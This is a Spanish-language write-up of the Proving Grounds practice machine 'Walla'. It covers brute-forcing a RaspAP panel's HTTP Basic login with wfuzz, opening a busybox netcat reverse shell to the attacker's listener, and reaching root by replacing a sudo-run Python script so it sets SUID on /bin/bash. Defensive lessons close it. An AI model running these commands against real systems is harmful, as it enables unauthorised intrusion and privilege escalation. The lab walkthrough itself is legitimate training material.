the_open_door
café
ESEN

Walla

Proving Grounds PracticeFácilLinux192.168.173.97

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#raspap#http-basic-auth#brute-force#wfuzz#web-console#reverse-shell#sudo#writable-script#python#suid#oscp
TL;DR. Walla expone un panel RaspAP (lighttpd) en el 8091 protegido con HTTP Basic. Una fuerza bruta encuentra admin:secret (fuerza bruta); dentro, RaspAP incluye una consola web que ejecuta comandos como www-data, desde la que lanzamos una reverse shell. www-data puede ejecutar con sudo un script Python (/home/walter/wifi_reset.py) cuyo directorio es escribible por www-data: lo reescribimos para que haga SUID a /bin/bash (sudo sobre script escribible) y un bash -p (abuso de SUID) nos da root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.173.97
64 bytes from 192.168.173.97: icmp_seq=1 ttl=61 time=35.8 ms

Barremos todos los puertos TCP y luego identificamos versiones:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.173.97
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
422/tcp   open  ssh
8091/tcp  open  http
42042/tcp open  ssh
nmap -p22,23,25,53,422,8091,42042 -sCV 192.168.173.97 -oN targetedScan
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
23/tcp    open  telnet  Linux telnetd
25/tcp    open  smtp    Postfix smtpd
53/tcp    open  domain  tcpwrapped
422/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8091/tcp  open  http    lighttpd 1.4.53
|_http-auth: Basic realm=RaspAP
42042/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

Muchos puertos, pero el que define la máquina es el 8091: un lighttpd que pide HTTP Basic con el realm RaspAP (el panel de administración de puntos de acceso para Raspberry Pi). Hay además tres SSH (22, 422, 42042), telnet y un Postfix; los anotamos, pero el camino entra por RaspAP.

HTTP (RaspAP) - TCP 8091

El navegador pide usuario y contraseña (autenticación básica del servidor, no un formulario):

Dialogo de autenticacion HTTP Basic del panel RaspAP en el puerto 8091

RaspAP tiene un usuario por defecto conocido (admin), así que el ataque natural es fuerza bruta de la contraseña sobre el Basic Auth.

Acceso inicial

Fuerza bruta del HTTP Basic

Con wfuzz probamos contraseñas para admin contra el Basic Auth, descartando los 401 (fallo) y 503:

wfuzz -u http://192.168.173.97:8091/ --basic "admin:FUZZ" -w /usr/share/wordlists/rockyou.txt -t 200 --hc=401,503

wfuzz encontrando la contrasena secret para admin (respuesta 200) en el Basic Auth de RaspAP

000000045:   200   278 L   830 W   12303 Ch   "secret"

La única respuesta 200 corresponde a la contraseña secret: las credenciales del panel son admin:secret (fuerza bruta).

Consola web de RaspAP: reverse shell

Ya dentro de RaspAP, en System hay una pestaña Console: una terminal web que ejecuta comandos en el servidor. Comprobamos como qué usuario corre:

Consola web de RaspAP (System > Console) ejecutando id y devolviendo uid=33(www-data) en walla

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Tenemos ejecución de comandos como www-data. Como hay telnet/puertos altos disponibles, lanzamos una reverse shell con busybox netcat hacia nuestro listener:

Antes de disparar la shell, dejamos Penelope a la escucha en el 23:

penelope 23
busybox nc 192.168.45.153 23 -e bash

Reverse shell recibida como www-data@walla tras usar la consola de RaspAP

(Penelope)> listeners add -p 23
[+] Got reverse shell from walla~192.168.173.97-Linux-x86_64  Assigned SessionID <1>
www-data@walla:/var/www/html/includes$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Leemos la primera prueba (está en el home de walter):

cat /home/walter/local.txt && ip a && hostname && whoami

local.txt leido como www-data en walla, con IP 192.168.173.97

39a39b276526c2310807ede8af2658eb

Escalada de privilegios

sudo sobre un script Python escribible

Revisamos sudo -l y el home de walter. Aparecen dos cosas que encajan:

ls -l /home
sudo -l

ls -l /home mostrando walter propiedad de www-data y sudo -l con NOPASSWD python /home/walter/wifi_reset.py

drwxr-xr-x 2 www-data www-data 4096 Sep 17  2020 walter
...
User www-data may run the following commands on walla:
    (ALL) NOPASSWD: /sbin/ifup
    (ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py
    (ALL) NOPASSWD: /bin/systemctl start hostapd.service
    ...

La clave es que www-data puede ejecutar wifi_reset.py como root con sudo, y el directorio /home/walter es propiedad de www-data. Aunque el script en sí esté protegido contra escritura, como somos dueños del directorio podemos borrarlo y volver a crearlo con el contenido que queramos (sudo sobre un script escribible). Lo sustituimos por un script que ponga el bit SUID a /bin/bash:

rm /home/walter/wifi_reset.py
cat > /home/walter/wifi_reset.py <<'EOF'
import os
os.system("chmod u+s /bin/bash")
EOF

Reescritura de wifi_reset.py con import os y os.system chmod u+s /bin/bash

www-data@walla:/home$ rm /home/walter/wifi_reset.py
rm: remove write-protected regular file '/home/walter/wifi_reset.py'? y
www-data@walla:/home$ cat walter/wifi_reset.py
import os
os.system("chmod u+s /bin/bash")

Lo ejecutamos por sudo (corre como root) y comprobamos que /bin/bash queda SUID; con bash -p mantenemos el euid de root (abuso de binario SUID):

sudo /usr/bin/python /home/walter/wifi_reset.py
ls -l /bin/bash
bash -p
id

sudo python wifi_reset.py deja /bin/bash con SUID y bash -p da euid=0(root) en walla

-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

Leemos la prueba final:

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leido como root en walla, con whoami root e IP 192.168.173.97

6422cd7f22628ea4cc487e0e01e6ddd9

Cadena de ataque

RaspAP (8091, HTTP Basic)  --  wfuzz admin:FUZZ
        │  admin:secret
        ▼
consola web de RaspAP (System > Console)  --  www-data
        │  busybox nc -> reverse shell
        ▼
shell como www-data  (local.txt)
        │  sudo NOPASSWD python /home/walter/wifi_reset.py + dir escribible por www-data
        │  reescribir script -> chmod u+s /bin/bash -> bash -p
        ▼
shell como root  (proof.txt)

Lecciones aprendidas

  • El HTTP Basic no protege de un diccionario. Con el usuario por defecto (admin) y una contraseña de rockyou (secret), wfuzz entra en minutos. Las contraseñas de paneles de administración deben ser largas y aleatorias, y conviene limitar los intentos.
  • Una consola web es una shell. RaspAP ofrece una terminal en el navegador; con credenciales válidas, el panel equivale a ejecución de comandos como su usuario de servicio (www-data).
  • No basta con proteger el script: importa quién posee su carpeta. El sudo apuntaba a un fichero concreto, pero su directorio era de www-data. Poder borrar y recrear el fichero es lo mismo que poder editarlo: el binario o script al que apunta sudo, y su directorio, deben ser propiedad de root.
  • sudo sobre un intérprete es ejecución arbitraria. Ejecutar python <script> como root no acota nada si controlamos el script; conviene fijar binarios concretos y rutas no manipulables, nunca intérpretes con argumentos editables.
Cheatsheet de comandos 9 comandos

Repaso rápido